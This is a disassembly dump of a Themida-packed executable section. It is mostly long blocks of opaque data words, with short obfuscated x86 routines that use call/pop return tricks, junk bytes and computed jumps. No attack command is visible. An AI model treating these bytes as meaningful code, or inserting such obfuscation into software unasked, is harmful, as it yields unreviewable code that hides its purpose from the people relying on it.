dd 7101689Eh, 19331030h, 0B21323DDh, 0B3F2D568h, 0B13257ECh
dd 0C5E95DABh, 1EA8DCDCh, 31344664h, 72315796h, 383A1133h
dd 0A5D95A1Ah, 4E178E59h, 9A325657h, 32EAA16Dh, 0F6BB5415h
dd 0BD75DFE2h, 72FB378Dh, 32DEDDEFh, 5952AA99h, 0B13256AEh
dd 45D8D70Dh, 3A3447E4h, 0A074DB6Fh, 32FB65ECh, 353D564Ah
dd 0B1325678h, 0C4CD51D6h, 0B947A9A2h, 0B041BE07h, 0B44156ABh
dd 5A269156h, 4D77DF08h, 4E3E238Ah, 86CD5ECFh, 0B1330AB5h
dd 26B059AEh, 3A325657h, 0B60BAAEEh, 0B1BED4DAh, 0F4CD56EAh
dd 0B54DD589h, 323A22BAh, 0C5325A22h, 93CBDACh, 4ECDA9A8h
dd 0B1325312h, 5A99A5D5h, 0A14DD529h, 323D2270h, 0C43446C5h
dd 0F6B9174Ch, 0BD6DDDAAh, 0F6B915BCh, 0BD6DDDAFh, 0F6B96F3Eh
dd 0BD6DDDEEh, 0C43A094Eh, 0E6B904AFh, 0A1677D59h, 3A2603ADh
dd 6B195A08h, 0EB37BD28h, 0F6B9443Eh, 0BD6DDDEEh, 3236095Eh
dd 3B315351h, 0B7394540h, 0B222292Dh, 9A735722h, 0B06EDF72h
dd 4ECDEED4h, 0B48BA915h, 42325675h, 4E64BF11h, 7853A9A2h
dd 0E432466Ch, 75B1BADCh, 0B1DA3657h, 0EB3256D5h, 0E1EDBC6Bh
dd 0BB95064h, 0B7231037h, 8EB19F6Eh, 20B659AEh, 3A325657h
dd 0BD47A9ACh, 0E13A232Ah, 0B132DE02h, 32372575h, 53D9427Dh
dd 4ECE13D4h, 0C4CD5ADBh, 5905A95Fh, 0B13256DAh, 0F4B93CA7h
dd 0C3356F16h, 4D77A916h, 0B1362939h, 0CEB15E29h, 0B34656A2h
dd 4E8A58BCh, 8CDA954h, 0B13256D0h, 7AD9FD19h, 0B42229F6h
dd 0CEB159CEh, 0A047504Dh, 0B575DDEFh, 5A3E09DCh, 0B575DDB6h
dd 5A3E095Eh, 0B575DDF9h, 9A3E09FEh, 5AB152E5h, 0A14DD558h
dd 0F03323ADh, 0EDBB8F7Ch, 4E8A57AAh, 8CDA92Ah, 0B13256EFh
dd 36D9FD86h, 0B9F09FDBh, 5DB9035Dh, 0B977DDCEh, 0C33E136Ch
dd 0A1776DA3h, 5ACA55A2h, 0B1D9AFE9h, 0BDF09F14h, 5DB903BAh
dd 0D1CE92DEh, 0B1325646h, 5BB30C57h, 0B723071Eh, 6A019FE6h
dd 3ACE0B63h, 0A074DBCFh, 0B10DD5BCh, 8EB13229h, 32372351h
dd 40D94290h, 0B1362928h, 0CEB15EA1h, 0B34656E6h, 0F4CD5E9Eh
dd 0A5F5D546h, 0CEB18DB6h, 0BE4653BEh, 0B72229D4h, 3A7347DEh
dd 0EEB95292h, 3A2FBDE6h, 0EEB95232h, 3A21BDB6h, 0EEB9521Ah
dd 0B56D7DA2h, 3237BDD4h, 0C43146D4h, 681917D4h, 0B0330A63h
dd 4ECDA9CDh, 0B137EF45h, 1AC1565Dh, 3A53C145h, 72FBAA12h
dd 596107FBh, 0B13256D5h, 0F1D8D7B0h, 3C344727h, 0A074F320h
dd 0B156EE5Bh, 63DA56AEh, 3A325657h, 5AF36DA0h, 0B57955C1h
dd 0A64097D1h, 8A221D76h, 5A30247Bh, 5A26BD5Fh, 0CEA8DBBCh
dd 4E3447FEh, 3C3ABD78h, 0A09EF34Fh, 0EAE1A9ECh, 0E4F10E2Ch
dd 0B1DABA31h, 0EB32565Dh, 0E3BDBC2Fh, 3C525046h, 0A074F311h
dd 0B977DDD3h, 0F4B95163h, 0B575DF79h, 38221331h, 0F4B95A1Ah
dd 0A175DFBAh, 0A1F09F36h, 34F436ABh, 0B7397E90h, 0C2283EADh
dd 4CDFE62h, 0B73945EFh, 0CC2AD3D0h, 61CD50A0h, 60B8DB05h
dd 0E03447EDh, 3C68862Ah, 0A0748768h, 0F1855973h, 0E3EADDB6h
dd 0B2686752h, 0E0B0DF6Dh, 0D0345D73h, 0E85251C3h, 0
; ---------------------------------------------------------------------------
pop edx
sub edx, 6115300h
push edx
mov eax, [edx+60B2451h]
mov ecx, 41C64E6Dh
mul ecx
pop edx
add eax, 3039h
and eax, 7FFFFFFFh
mov [edx+60B2451h], eax
pop edx
pop ecx
retn
; ---------------------------------------------------------------------------
db 51h, 52h, 0E8h
dd 0
dd 30EA815Ah, 8B061153h, 0FFBBE8C8h, 0D233FFFFh, 0C28BF1F7h
dd 8BC3595Ah, 8DC08BC0h, 11494185h, 66D0FF06h, 858DC18Bh
dd 61152F9h, 2B18589h, 858D060Bh, 6115329h, 17DD8589h
dd 0B8060Bh, 0B000000h, 47840FC0h, 0C6000000h, 0B284585h
dd 0DF685606h, 0FFA9C530h, 0B1355B5h, 18858D06h, 0FF060E7Dh
dd 8D8D50D0h, 60B0545h, 68046A51h, 1000h, 159DB5FFh, 0D0FF060Bh
dd 159DBD8Bh, 7F03060Bh, 0F8C7813Ch, 0C7000000h, 202447h
dd 9D8D6000h, 60B0EB9h, 0C00B038Bh, 5840Fh, 8B0000h, 0B9044389h
dd 234CF6h, 8EBh, 42120000h, 9DE956DDh, 68000004h, 61154CFh
dd 0FA2B42E9h, 553D68FFh, 38E90611h, 68FFFA2Bh, 61156AFh
dd 0FA2B2EE9h, 0F4C3D7FFh, 5A77BE6Fh, 2C1D6C99h, 0F1C0D637h
dd 407F8562h, 0DE3D2493h, 8F78FBDAh, 7FA84B76h, 28C51E29h
dd 8871E2DFh, 49B8CC60h, 400FC585h, 0FBDADED8h, 605DA617h
dd 30CA71F3h, 0D5719C35h, 2E4E4EF8h, 48B5C715h, 67BC0D30h
dd 7492F65Ah, 9F1A11E0h, 10E4DEBDh, 6133B0D0h, 0EBE6313Ah
dd 566BB667h, 0D1A594E7h, 502ABBF1h, 12E6E7BDh, 2C361EFBh
dd 2E6D6h, 2D463E00h, 0AD06B31h, 9F05A7E2h, 0B989A8BDh
dd 8374DCDh, 4D3C1ECFh, 29F07669h, 393F0487h, 9A12D863h
dd 4111EFEBh, 72AA1E64h, 0A3CB112Ah, 4B1CD62Eh, 64915BBFh
dd 0D03D2613h, 3D0C1FC7h, 0D6117549h, 8FDA5871h, 27C5BA88h
dd 11000003h, 0F815CE05h, 0A6479CADh, 10FD665Bh, 0FF28CB0Ah
dd 0FA599AA5h, 3D0018F3h, 8DB0C926h, 506FB956h, 24116283h
dd 961ED23Fh, 0C58549F2h, 6F1E8675h, 40E4760Dh, 0BD84EBDEh
dd 12836951h, 0C32C370Eh, 283286B9h, 0EEEA219Eh, 0E8D499A2h
dd 7A496C18h, 0F60AE33Ah, 23077BCFh, 1B2E7105h, 84913C85h
dd 8BB3BE49h, 14FE8664h, 2B9B3h, 0B897E300h, 0E3B4ABBh
dd 0D0E938D5h, 0A59CE203h, 744B51BEh, 0EA0168EFh, 5BB4AF96h
dd 0BE47F42h, 0F411C2FDh, 0BC4D96A3h, 484C38ACh, 74C3C585h
dd 0AD0D6F8Ch, 6BA11C0Bh, 4C9EF299h, 848076D8h, 0DF1C9BDh
dd 7B05A525h, 0E6D3243Ah, 625DAB12h, 0E7E6209Eh, 0A32276ABh
dd 2F24C069h, 1C9E92Ch, 0BD770000h, 0C03CCC1Eh, 9CC0FF04h
dd 0E42538F0h, 77D67054h, 99A31722h, 94E3E70Fh, 1E64C394h
dd 0E6081DF0h, 48392F93h, 57B04F56h, 0FF456D42h, 0CBAB48ACh
dd 0BCC85CB1h, 33C3947Bh, 0DA01EBCFh, 0C9944F48h, 3E4930F3h
dd 0E30BE503h, 0BD9F2C1Eh, 0CF67EB2Fh, 3A6132BFh, 45BF4E6Ah
dd 2C353BA4h, 3A24259Ah, 0B5AF2668h, 47C69Bh, 6F2E0000h
dd 5AE4760Dh, 0B47810E5h, 61E1527Ah, 0C394A765h, 0D1A590E4h
dd 1F3802FDh, 0F472065Ah, 73FD2B55h, 9FEA5AFBh, 0B82CBEBDh
dd 3A61DBCCh, 72D17F43h, 0DCAC8408h, 93A61DBh, 47E61AABh
dd 622C36B7h, 9Fh, 0F8D5DE8Ah, 605FA514h, 0CCF30BFAh, 66EA0478h
dd 0E35762B7h, 7DCE93Ah, 9418319Fh, 5BFB0CC3h, 0A590E448h
dd 4942FD41h, 1DE3430Ch, 71E2C63Ah, 1ECC5725h, 669F7196h
dd 82209F42h, 2B2D5A97h, 0A645C26Ch, 0DE8FAC0Dh, 0C3290DEDh
dd 6CF7CED2h, 89467983h, 8661A7DAh, 47AE61E1h, 71000001h
dd 0D8352E25h, 8667FCCDh, 709D467Bh, 0DFC82B2Ah, 0DA79FAC5h
dd 1D207893h, 0EDD029C6h, 0B08F9976h, 43142A3h, 0B63E32DFh
dd 0C5854BD2h, 0DE7EE655h, 8F78FBDAh, 18944F7Ah, 24A897EDh
dd 0DED046E0h, 0E072F8D5h, 941D384Ch, 0A2908FC3h, 0C1B31A91h
dd 2077C63Ah, 0AA13F711h, 75F76C59h, 0DDE43AEBh, 0A9DD1569h
dd 3EC39491h, 91CEBA32h, 7941C394h, 5663B405h, 3C80AEE2h
dd 9D11DB60h, 0BD9E6D3Ah, 0F825370Bh, 0CCFD08A0h, 0AB1F2A7Dh
dd 7EE07357h, 3A61230Eh, 1FFB01ECh, 0B49CAC48h, 6BDF3312h
dd 8B2AE817h, 97477092h, 0B6839479h, 53840ADh, 90DEB1h
dd 0BD660000h, 8C9F4750h, 91F5C9BDh, 7F3FE92Dh, 50D4061Dh
dd 0BD84EB12h, 0A9A4F05Dh, 0F18C1B5h, 0B3C42132h, 61323286h
dd 5D8DB69Eh, 3F161E8Fh, 92169711h, 0ABAECF2Dh, 0F1D06F52h
dd 17F610F6h, 0A02C3702h, 0EA152075h, 3E4DA93Fh, 927B9511h
dd 5E2A4281h, 916AB609h, 369C4D20h, 0F8C2BD6Ah, 0FA8EFA72h
dd 39016AB6h, 728871C5h, 4642FF43h, 8E555E47h, 0B6FA6266h
dd 0B99DE56Ah, 7BB12EBAh, 0BEB399Ch, 0FC090422h, 39A7DC1h
dd 22000000h, 0D4DE9C84h, 57A009FDh, 0D127967Ah, 52AB12E6h
dd 0EE329B6Fh, 66BA63D7h, 0FC02EB5Fh, 798871C5h, 0FA0DFC40h
dd 68CF7BCFh, 794Ah, 89242C89h, 4C581E5h, 83000000h, 2C8704EDh
dd 0DF685C24h, 89000065h, 0B968240Ch, 89000064h, 3A68241Ch
dd 89000013h, 9BA2414h, 89061154h, 8B545AD1h, 0C483241Ch
dd 0DBF6804h, 4890000h, 89C88924h, 0FF580843h, 835B2434h
dd 34FF04C4h, 0C4835924h, 26BDE904h, 0D172FFFAh, 0AAC36345h
dd 1A7776A2h, 0FD693555h, 11581BB8h, 0FFC50306h, 69DB43E0h
dd 90654771h, 9CFC5235h, 2BF5011h, 3A8CA51Eh, 1CDAD239h
dd 40CBA425h, 0F2E84D35h, 457C7C7Ah, 0B51C3147h, 8705297Fh
dd 7FADB950h, 64BC782Eh, 31A20338h, 0E0C1A33Dh, 0FCBCFE5Ah
dd 0C6AAD946h, 0B860441Fh, 3A22A70Eh, 3478B617h, 0FE866h
dd 0FAAB0000h, 0EDCE77Bh, 0ABDCF2C1h, 0CFA0D524h, 81F55912h
dd 5C84C1h, 0D840F00h, 60000000h, 0E4818FBFh, 69E78132h
dd 617887F0h, 8A0FFF2Bh, 2, 1C8BD78Bh, 815A5139h, 9EA6F0F3h
dd 10E96Ah, 21D40000h, 0F1A6E9FAh, 0CF781E5h, 0E325256Fh
dd 0F3817111h, 1FD7DFD6h, 5E8h, 0E35F8B00h, 5AFC4CD3h
dd 0F308C381h, 8A0F0C32h, 6, 830Fh, 0E8530000h, 0Ch, 3B2BEF9Bh
dd 0BEE73D4Eh, 43840C5Eh, 18C0Fh, 5AF50000h, 6639048Fh
dd 0EF81C68Bh, 4E62B5Fh, 81C7B70Fh, 0E62B5BC7h, 42B86604h
dd 34FF81DFh, 0FFFFFA4h, 0FFFF7D85h, 0EE8166FFh, 8EBA3E6h
dd 1A6BC2CDh, 0
; ---------------------------------------------------------------------------
jmp loc_5A24BF
; ---------------------------------------------------------------------------
push 6115B51h
jmp loc_5503D9
; ---------------------------------------------------------------------------
push 6115C20h
jmp loc_5503D9
; ---------------------------------------------------------------------------
push 6115DDEh
jmp loc_5503D9
; ---------------------------------------------------------------------------
push 6115EB5h
jmp loc_5503D9
; ---------------------------------------------------------------------------
push 6115FE2h
jmp loc_5503D9
; ---------------------------------------------------------------------------
push 611617Fh
jmp loc_5503D9
; ---------------------------------------------------------------------------
push 611627Dh
jmp loc_5503D9
; ---------------------------------------------------------------------------
db 43h
dd 0CE7502Eh, 0C722EDE9h, 86612EA8h, 589B6462h, 0F4D9A620h
dd 0B70F6F3Bh, 0F2CC2DC8h, 0E88E205h, 4E48A641h, 0DB0C6881h
dd 7BAEB656h, 51C92C7Dh, 0D17B5396h, 0E51BDE69h, 45EE6A8Eh
dd 759D5CB8h, 2B8763DFh, 4640BE01h, 0C52DB1F9h, 582C78EBh
dd 21194F8Ah, 0B17EE9C7h, 0C66F9256h, 8D7DD010h, 0EEA32DBh
dd 53E44F01h, 7D6F9254h, 579014E7h, 0AC8CBE18h, 0F3A308A3h
dd 5093BC0Dh, 42A4BF17h, 0CD7AA644h, 2758h, 637B7D00h
dd 42A6A19Fh, 0CD7AA644h, 73E464CFh, 11E94F8Ah, 33E770FBh
dd 4B816F92h, 17C22980h, 0E365BC0Eh, 72000000h, 7E5836B4h
dd 5D4AD700h, 405D759Dh, 447C8F81h, 4811C775h, 2C717D9h
dd 5BF502FEh, 2504EF65h, 725A1DAh, 5D8C15DBh, 136B0E39h
dd 619A5DBBh, 7CEEE802h, 7517209Ch, 18328CE2h, 4945A1A2h
dd 0C9C53BBEh, 0FC6CEB7Eh, 2C42759Dh, 78D4B235h, 0B816548Fh
dd 6B63855Eh, 7E6030DCh, 0F5895AB4h, 3C4F8B10h, 0D08815DEh
dd 53AF6F92h, 2600F8A4h, 4B8C7920h, 5955B33h, 9887B0DDh
dd 88E64C92h, 8755A4AAh, 0D25A336Ah, 44DF5225h, 0C7004985h
dd 601C2BA3h, 45A5BE98h, 37BFE49h, 3FAB498Bh, 0AA0E45Ah
dd 82ACBh, 0E88E500h, 4B43A641h, 840279FCh, 0C2BC383Bh
dd 1C7AF275h, 81955AB3h, 47A26D69h, 4DFA826h, 0D81BE4E2h
dd 965B24A2h, 0B7B07DE6h, 0CAC77BAEh, 5A34B493h, 9AF40AEDh
dd 637B362Dh, 0A90581F8h, 1F12F94Fh, 9548E0A1h, 4D968E53h
dd 0C87709CEh, 7EDF1FC8h, 6ED24F8Ah, 0DBB33730h, 923EC931h
dd 923F90D9h, 0D7223A6Fh, 0E0D1982h, 0C08ABCh, 0B4AB0000h
dd 29B25836h, 9C57F5D1h, 759D5955h, 0AE1FB88Eh, 0D8DAAD2Ch
dd 3236B42Fh, 0A31D4300h, 9966C239h, 84A6205Eh, 2600EAFCh
dd 89B5613Dh, 1BE4544Fh, 0EC0CCF17h, 84E77892h, 94F2AE0Ah
dd 83A4C343h, 0A7C10249h, 9C7C202Fh, 4D49A1A2h, 8F076782h
dd 5BDFB1B5h, 0C13CAEE4h, 75Bh, 907F5794h, 0CBB41255h
dd 0AF5D128h, 44338BEFh, 824D49A1h, 38B0648Dh, 0F576F15Eh
dd 0B1CB2E99h, 718F6AD5h, 0D741AA15h, 0AEB87F0Ch, 0E215947Bh
dd 4D3034B4h, 9EC4AFCh, 70503F9Bh, 0AC3CC112h, 655B759Dh
dd 9DAC2DF2h, 1AF64A75h, 18F40AEDh, 9DAC42CFh, 0B00E6875h
dd 0A494A69Ah, 9A7650AFh, 36B4362Dh, 0D329B258h, 0FA31DD91h
dd 0AF0B0D5Ch, 0C740FB71h, 8446FD4Bh, 40A68C7Bh, 0A8BE9CFAh
dd 0FFDCAACFh, 0F0BDA649h, 7759D9Fh, 5B8C0C3Bh, 4F8AB733h
dd 0B708221Eh, 0C6C03A39h, 245A9D6Ah, 19DA80AAh, 136B83E2h
dd 9AA501F9h, 0BC935FCFh, 7742E4C6h, 7906D10Fh, 0AAE84C52h
dd 6BB836B3h, 10E8121Dh, 90EE0CE7h, 28F58B6h, 11E84B73h
dd 0C84C2729h, 18BA611Fh, 87E500EFh, 60F3D10Fh, 0E84B749Bh
dd 0FF6D6981h, 0CF01F903h, 0A23A1319h, 9A36C1FEh, 4B9489D1h
dd 408B81E8h, 4F3CB21h, 19338BE1h, 4B940256h, 8B7EF6E8h
dd 0B90680FEh, 6660985Bh, 8EB14C4h, 227694F2h, 0CF1876BCh
dd 0C238B033h, 7BFCDA26h, 897887FFh, 9BF53DA1h, 2D64D848h
dd 0D775C5BCh, 3565CC1Ch, 9D6CE4DCh, 6AE1DF44h, 0B011D74Fh
dd 734BA240h, 6CEF61D9h, 2D1A250Fh, 305h, 9386D4CAh, 6E68804Bh
dd 0BF8354B2h, 0DA4F8A74h, 0CD5E8966h, 54C48382h, 0F84EA892h
dd 4F2E37A1h, 9BF90685h, 7945FBDh, 2CEE83ACh, 9C50232Ch
dd 99C870B8h, 0E7FF8BA1h, 1CC72503h, 0E878988Fh, 1F4A3EA4h
dd 0CB753A4Bh, 77E0E06Fh, 0C26A8FBEh, 0E0635DBDh, 0A0430C8Ah
dd 78F64C4Ah, 9F6B7514h, 59D10EDh, 156A0000h, 0D02BCEB9h
dd 8FEE09F6h, 49AD4837h, 767824Dh, 22CFC08Fh, 2F98F676h
dd 6CDBB334h, 0A8176F89h, 0E8572F4Dh, 3DC21503h, 5A7BAEBAh
dd 73512057h, 9D5D1BE0h, 37C03875h, 0A9876B73h, 8A744EBEh
dd 2DDF234Fh, 1C7A54AAh, 3268353Eh, 0B38F6F92h, 449AC884h
dd 7FC31B75h, 4AA6D601h, 358B497Fh, 870A5D22h, 0D3047A69h
dd 69870A4Eh, 5D399565h, 9DF977F2h, 3896D46Fh, 54324912h
dd 0CDC92DB6h, 0C534AC5Fh, 7544DCC3h, 4F3896D4h, 1940F75Ch
dd 207A8C2h, 7B4D0000h, 0B6A19F63h, 4F8C244Dh, 36FB6C52h
dd 5D6F8C03h, 840266FDh, 0E0DEBA66h, 0C08F0767h, 2E6B0AC0h
dd 26DD4F70h, 0A01E5E19h, 8593218Ah, 314F6F8Bh, 209B9F55h
dd 7EECDE54h, 4C69Fh, 92EC0100h, 2FA7C225h, 68668560h
dd 0A620449Fh, 0E0DE1ED9h, 2DF93617h, 0E306F1CDh, 0A0430C8Ah
dd 64FF4846h, 2A3F8806h, 0BB14994Ah, 6E237BAEh, 9F637B77h
dd 244DB6A1h, 0B88E4F8Ch, 0EE1B940Eh, 3DC21598h, 5A6F8BF9h
dd 3B2C0AE6h, 6F8BF876h, 0EE92BD9Dh, 967F812h, 0C927C28Dh
dd 66845FCDh, 7993EB0Fh, 60072581h, 0EA0021E8h, 0A30823ECh
dd 4BC1451h, 151h, 5836B411h, 985E57Eh, 738952FEh, 6086AC1Bh
dd 5FABBC9Ah, 4A4F8A58h, 4A9354F6h, 646F9258h, 5FC41DECh
dd 0C0BC0DF0h, 3Fh, 1D637BD5h, 9D5D45CAh, 0FB6C5275h, 759D5D36h
dd 0C201FD5Dh, 0DE0228A6h, 9BD30462h, 964F8A74h, 9E2F80AAh
dd 0C86F9234h, 91ED0FC8h, 8FBD1952h, 0EDDCA453h, 0E172F94h
dd 85F0BCh, 0B4850000h, 29B25836h, 8C57F5D1h, 53AE7A6Eh
dd 0E5DB8C3Fh, 2C868F63h, 7CD873ADh, 9FF775CEh, 0FA9E2530h
dd 5E9C759Dh, 4B939760h, 0A8AB89E7h, 3CC7704Eh, 4F9029EEh
dd 1ED9370Bh, 0DC17E0DEh, 3A20229Ch, 51DE4F5Ch, 3995ABBh
dd 19560000h, 0D417D2BDh, 93EA0DFAh, 4DA94C3Bh, 0B638671h
dd 26CBC4B3h, 339CFA72h, 70DFB730h, 0AC1B73F5h, 0EC5B3349h
dd 41CE1907h, 567BAEBCh, 34B4245Bh, 0F40AED5Ah, 51362D9Ah
dd 5D1BE073h, 0C038759Dh, 403EBC37h, 0E3DB11AAh, 62C81E14h
dd 7A3FD304h, 0C63A4F8Ah, 0E6448AE8h, 0C5F3FBFAh, 0A7BC4192h
dd 67DB6F91h, 28B334D8h, 0E26F91A9h, 0B9155192h, 0D8A0AF93h
dd 0E3479FF1h, 0C4BE5285h, 967497Eh, 8473382Bh, 0B8806986h
dd 8684E6ABh, 0D9B53469h, 0CD4DCF33h, 0D5A29E42h, 549651EEh
dd 0DF68D07Ah, 42E8E604h, 0BC0B83F9h, 0AC8A7076h, 8A586FBBh
dd 88E65A4Fh, 0B8522C4Fh, 0D9398E40h, 0F5B14E5Ah, 9C2D864Ah
dd 366F9244h, 985BCB3Eh, 10C8625Ch, 45FC4E7h, 55C0BC0Eh
dd 0D5000000h, 0A19F637Bh, 0BE4945A6h, 73D515DEh, 0C3044F8Ah
dd 0DD3D2FA7h, 0D88C130Bh, 0DC6BA3B4h, 0B7A4B220h, 0CFAD96B9h
dd 0D2A0C579h, 0C9A57E0Eh, 0E53F8823h, 93696F91h, 559EFC28h
dd 6F91E3C8h, 0C9E413EFh, 0BC0E6762h, 1EE37452h, 356F91F0h
dd 0B4CD3AC5h, 0EA000000h, 7E5836B4h, 5D4AD700h, 9169759Dh
dd 7EF4AA66h, 0BFC501D8h, 0EE89B6FCh, 0BE18578Eh, 599728C2h
dd 0F674CF7Dh, 9D242F98h, 93759DA9h, 0EBE3065Dh, 47A5400Fh
dd 11D5DD4Fh, 2C64CF29h, 114F8AB7h, 0B8522C4Eh, 3D1BE440h
dd 37C0BE3Ah, 0A9876B73h, 84C2AEBEh, 41BF8349h, 9F686686h
dd 0A8AA2444h, 0E45AC1BCh, 0FCDC39D3h, 0CB000001h, 0F46FD8B6h
dd 4FAA1571h, 0EE95630h, 0C023ECEAh, 6C612EA8h, 3F97D7C3h
dd 7A549550h, 0B6106A8Dh, 0F6D02EC9h, 0A3B4E009h, 7BAEBDDEh
dd 0B441B4F5h, 820FD834h, 91759D5Ch, 5093CDA9h, 0AD8DBF17h
dd 3AB0B3A2h, 7B8CF35Ch, 0B6A19F63h, 4F8A7436h, 7725C73Bh
dd 0F21D79FCh, 9233D667h, 9178F06Fh, 239BD215h, 944D872Dh
dd 0CF78074Dh, 0E2377DCh, 0C028BCh, 0B4CD0000h
dd 8409DA36h, 93759D5Ch, 8659F3AFh, 0D00E6866h, 4FFDD917h
dd 5CBB4093h, 60D8759Dh, 33B235D7h, 9759D59h, 0C92C9BF3h
dd 7AFDDBB3h, 0D07C8B03h, 3DB31EC0h, 9B77AB41h, 667AAABDh
dd 9B674F8Ah, 1AE0062Ch, 74802B3Ch, 0BDB34984h, 859576h
dd 964AF531h, 50723F28h, 0B9816985h, 0AA403EBAh, 0BBBC9A76h
dd 9CFC4B43h, 3C27215Bh, 6985506Fh, 32D8B484h, 46A641CEh
dd 53A48A48h, 11BBE45Ah, 0FE34h, 0DAB4C900h, 176F8A6Dh
dd 502E4DA8h, 0EEE80CE7h, 28A6C621h, 0D5C16E5Fh, 0AB4E3995h
dd 688B7452h, 2CC7B00Eh, 0E207F0CEh, 0BEDCA1B2h, 0B6FB7BAEh
dd 5A34B44Fh, 9AF40AEDh, 36B4362Dh, 36C22532h, 0F1ADE3D6h
dd 6C6A805Bh, 0F9578FA3h, 32BC412Fh, 9FF95552h, 8CB72754h
dd 5ECC4C4Fh, 6E85E760h, 35D7B30Bh, 41BF3AC5h, 594D7A2Fh
dd 78FBFD42h, 0B06882FCh, 72886BD4h, 0B4C04D96h, 6BD76F8Ch
dd 0B555DA0Dh, 9E626F8Ch, 74520822h, 8CB51EE3h, 3AC5356Fh
dd 0A4F6BAFh, 0AB23474Bh, 0C0BE3E81h, 7FEDE903h, 3AECDF05h
dd 98A910D6h, 0C90A6462h, 0C73BD1ADh, 0D02EC938h, 0E2185791h
dd 3E9A46E4h, 0B5EE6442h, 8CCF0664h, 7CC789B6h, 66C9EF8h
dd 0A7ADD920h, 0F8C70EF4h, 0E9E50653h, 967020Dh, 9C4C4FE7h
dd 7CD852ADh, 0BC1A5093h, 2EF36442h, 45531217h, 47864AF5h
dd 3, 0B42C9360h, 2AAD5F37h, 8F50FAD4h, 60FB116Dh, 0DA9D8F07h
dd 0BD0624A2h, 10AB413Dh, 8F50FAD4h, 63F41670h, 199C8E08h
dd 5404EC83h, 8124048Fh, 42404h, 89530000h, 4C381E3h, 83000000h
dd 1C8704EBh, 2C895C24h, 5046824h, 0C890000h, 9A685324h
dd 5B30EE15h, 0BBA3B951h, 0CB292ADCh, 5BDD8959h, 240C8B54h
dd 5504C483h, 68242C81h, 8F65C413h, 41810841h, 0C4136808h
dd 2434FF65h, 4C48159h, 8B000000h, 8957242Ch, 4C781E7h
dd 83000000h, 3C8704C7h, 1EE95C24h, 3AFFFADFh
db 86h, 0F0h, 0B7h
; ---------------------------------------------------------------------------
loc_5A24BF: ; CODE XREF: Themida_:005A1A50j
mov eax, 61163A0h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dd 633C616Ah, 804281Fh, 44CF2610h, 3A14C8A1h, 58B0D4A8h
dd 4F1D9DACh, 3D86912Ch, 652C8D8Dh, 0B58B0611h, 60B21DDh
dd 174D8D89h, 8F0F060Bh, 6, 1CDB531h, 85C7060Bh, 60B0119h
dd 5C40h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 17h, 0D7C35242h, 0C70234ECh, 0B100985h, 6, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
dd 14E83FDAh, 36000000h, 663FFC72h, 1B2FF190h, 0FA3ED861h
dd 0EE12A590h, 80F6EFF0h, 0FF5E34E3h, 0B1AA9B5h, 53006A06h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
dd 0EC9CFE1Ch, 50DD1B8Bh, 95FF5366h, 60B0AC5h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0A4C35343h, 640E6904h
dd 2918D026h, 0B005D8Dh, 0FF006A06h, 0B32DD95h, 0EBC08B06h
dd 0CA9E4F4Fh, 69AE62h, 6785FA15h, 0FC9744C9h, 0BD70EE92h
dd 6E0BB07Bh, 32FE5A59h, 0BB443D2Dh, 628C4AE6h, 30227D90h
dd 2159806h, 0C4D1E365h, 0D3697389h, 6922452h, 738EEEAh
dd 904882A8h, 72581C3h, 536E654Fh, 8C72A618h, 6955662Ah
dd 10E8h, 9E4B6900h, 6A9FCDAEh, 12D8158Eh, 993C6663h, 665BF801h
dd 0C381D68Bh, 6A22h, 68D6B70Fh, 0
; ---------------------------------------------------------------------------
mov eax, ecx
pop ecx
loc_5A264F: ; CODE XREF: Themida_:005A26EAj
mov edi, [ebx+ecx]
jmp loc_5A2666
; ---------------------------------------------------------------------------
db 91h
dd 2369A364h, 0E839B8AEh, 1F44114Ch
db 0Ah, 63h
; ---------------------------------------------------------------------------
loc_5A2666: ; CODE XREF: Themida_:005A2652j
add edi, 2E116E83h
mov eax, [ebp+60B19FDh]
add edi, 5CBBD634h
jmp loc_5A268C
; ---------------------------------------------------------------------------
db 0A1h, 0D2h, 0A8h
dd 1D149AA7h, 1F2D54B9h, 0AA6880BDh
; ---------------------------------------------------------------------------
loc_5A268C: ; CODE XREF: Themida_:005A2678j
add edi, 781FDE8Bh
mov eax, [ebp+60B1241h]
push edi
pop dword ptr [ebx+ecx]
jns loc_5A26A3
stc
loc_5A26A3: ; CODE XREF: Themida_:005A269Cj
sub ecx, 0C9A62B9h
jmp loc_5A26BC
; ---------------------------------------------------------------------------
dw 8033h
dd 0EB3EABCEh, 3F2EE1B7h, 0DBB27E38h
; ---------------------------------------------------------------------------
loc_5A26BC: ; CODE XREF: Themida_:005A26A9j
add ecx, 0C9A62B5h
mov esi, eax
cmp ecx, 0FFFF96A8h
jnz loc_5A26E7
sub dx, 0B762h
jmp loc_5A26F7
; ---------------------------------------------------------------------------
dw 0EF0Dh
dd 0DC014AADh, 682BCE00h
db 0AFh, 79h, 0BEh
; ---------------------------------------------------------------------------
loc_5A26E7: ; CODE XREF: Themida_:005A26CAj
mov si, dx
jmp loc_5A264F
; ---------------------------------------------------------------------------
db 95h
dd 956881BCh
db 23h, 3Ah, 7Dh
; ---------------------------------------------------------------------------
loc_5A26F7: ; CODE XREF: Themida_:005A26D5j
lea ecx, [ebp+611673Eh]
push 0
push edx
call sub_5A2708
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5A2708 proc near ; CODE XREF: Themida_:005A2700p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 14h
inc edx
push edx
retn
sub_5A2708 endp
; ---------------------------------------------------------------------------
and eax, 89C6BF0Fh
lea ecx, [ebp+17h]
or eax, [esi]
push 0
push esi
call sub_5A272D
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5A272D proc near ; CODE XREF: Themida_:005A2725p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 16h
inc esi
push esi
retn
sub_5A272D endp
; ---------------------------------------------------------------------------
db 36h, 0Bh, 0C4h
; ---------------------------------------------------------------------------
mov dword ptr [ebp+60B0119h], 6524h
mov [ebp+60B3275h], eax
mov dword ptr [ebp+60B1009h], 0
jmp loc_5A276B
; ---------------------------------------------------------------------------
db 0E2h
dd 91623F18h, 0FAA03ACCh
db 62h, 0BEh, 13h
; ---------------------------------------------------------------------------
